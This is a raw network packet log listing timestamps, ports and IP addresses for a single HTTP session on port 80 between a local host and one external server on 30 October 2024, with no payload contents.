Oct 30, 2024 06:16:33.054208994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054265022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054275036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054291964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054301023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054311037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054322958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054352999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054367065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138335943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138365984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138376951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138403893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138413906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138485909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138495922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138510942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138595104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138605118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138619900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138619900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138633013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138642073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138659000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138683081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138691902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138701916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138711929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138726950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138736010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138746023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138756037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138762951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138773918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138783932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.138799906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.138827085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139015913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139029980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139044046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139054060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139081955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139087915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139097929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139113903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139123917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139131069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139142036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139148951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139157057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139169931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139177084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139200926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139208078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139215946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139231920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139240026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139250040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139264107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139271021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139280081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139292002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139298916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139319897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139353037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139360905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139370918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139381886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139393091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139400959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139410019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139427900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139445066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139630079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139640093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139657021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139667034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139673948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139684916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139698029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139714003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139720917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139730930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139741898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139749050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139758110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139765978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139780998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139797926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139857054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139868021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139878988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139902115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139919996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139935970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139945984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139956951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139969110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.139976978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.139997005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140007973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140014887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140027046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140037060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140064001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140199900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140239954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140258074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140268087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140288115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140297890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140304089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140319109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140326023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140335083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140346050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140357971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140379906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140491009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140501976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140517950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140531063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140536070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140547991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140557051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.140577078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.140593052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172198057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172207117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172214985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172228098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172236919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172243118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172275066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172338963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172348976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172358990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172372103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172413111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172413111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172413111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172413111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172430038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172501087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172512054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172522068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172533035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172542095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172553062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172569036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172574043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172583103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172600031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172611952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172619104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172646046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172651052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172662020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172682047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172697067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172717094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172748089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172781944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172786951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172796965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172822952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172837973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172854900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172866106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172888994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172903061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172938108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172955036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172966003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172972918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.172983885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.172991991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173001051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173008919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173017025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173027039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173049927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173078060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173108101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173227072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173235893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173245907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173257113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173264980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173275948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173286915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173295021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173305035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173322916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173343897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173351049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173372030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173382044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173397064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173401117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173418045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173448086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173501968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173512936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173523903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173536062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173542023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173559904 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173593998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173605919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173644066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.173654079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.173691988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257385015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257397890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257411957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257426977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257436037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257446051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257453918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257469893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257479906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257488012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257497072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257565975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257591963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257591963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257605076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257615089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257625103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257647038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257663012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257709026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257718086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257728100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257740021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257750034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257788897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257800102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257822037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257829905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257838011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257848978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257868052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257888079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257891893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257900000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257927895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257944107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.257980108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257987976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.257997036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258009911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258022070 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258050919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258089066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258097887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258106947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258120060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258126974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258136034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258142948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258169889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258214951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258224010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258234024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258270025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258279085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258300066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258308887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258342028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258415937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258455992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258462906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258472919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258502960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258518934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258527994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258537054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258550882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258562088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258574963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258594036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258630991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258641005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258651972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258675098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258699894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258728981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258738995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258749962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258760929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258769989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258779049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258802891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258814096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258874893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258882999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258892059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258920908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258939981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.258955956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258965969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258980036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.258996964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259025097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259032965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259043932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259054899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259066105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259074926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259083986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259099007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259121895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259248018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259258986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259270906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259299994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259320974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259329081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259339094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259347916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259358883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259368896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259387970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259394884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259403944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259417057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259424925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259453058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259562969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259603024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259618044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259625912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259632111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259641886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259671926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259692907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.259711027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.259721041 CET	80	49758	185.215.113.206	192.168.2.4
